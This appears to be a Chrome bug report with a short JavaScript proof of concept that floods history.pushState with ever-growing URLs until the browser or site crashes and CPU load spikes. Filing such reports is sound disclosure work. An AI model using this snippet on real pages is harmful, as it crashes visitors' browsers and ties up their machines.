UserAgent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0

Steps to reproduce the problem:
1. Open the developer tools or just create a quick html page with the following code

var total = "";
for(var i = 0; i < 1000000000000000; i++) {
    total = total + i.toString();
    history.pushState(0,0, total);
}

2. Wait a second and the browser/site will crash.
3. Sometimes (Windows related) the CPU load goes even up to 100% because of the RAM management.

What is the expected behavior?
That the Site which abuses this method will immediately shutdown.

What went wrong?
The browser crashed and even the CPU load goes up 100%.

Did this work before? No 

Chrome version: 60.0.3112.113 (Offizieller Build) (64-Bit)  Channel: stable
OS Version: 10.0
Flash Version: 24.0.0.189 internal-not-yet-present